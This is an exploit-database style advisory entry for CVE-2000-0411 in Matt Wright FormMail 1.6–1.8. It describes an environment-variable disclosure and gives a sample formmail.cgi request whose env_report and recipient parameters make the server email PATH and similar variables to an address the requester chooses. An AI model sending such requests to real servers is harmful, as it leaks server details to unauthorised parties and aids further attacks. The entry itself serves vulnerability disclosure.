Matt Wright FormMail 1.6/1.7/1.8 - Environmental Variables Disclosure

Author: Black Watch Labs
type: remote
platform: multiple
port: 
date_added: 2000-05-10 
date_updated: 2012-07-17 
verified: 1 
codes: CVE-2000-0411;OSVDB-59348 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/1187/info

An unauthorized remote user is capable of obtaining CGI environmental variable information from a web server running Matt Wright FormMail by requesting a specially formed URL that specifies the email address to send the details to. This is accomplished by specifying a particular CGI environmental variable such as PATH, DOCUMENT_ROOT, SERVER_PORT in the specially formed URL which will email the results to the address given. The information obtained could possibly be used to assist in a future attack.

http:/target/cgibin/formmail.cgi?env_report=PATH&recipient=<email address>&required=&firstname=&lastname=&email=&message=&Submit=<message>
This URL request assumes that the formmail.cgi script is located in the cgibin directory.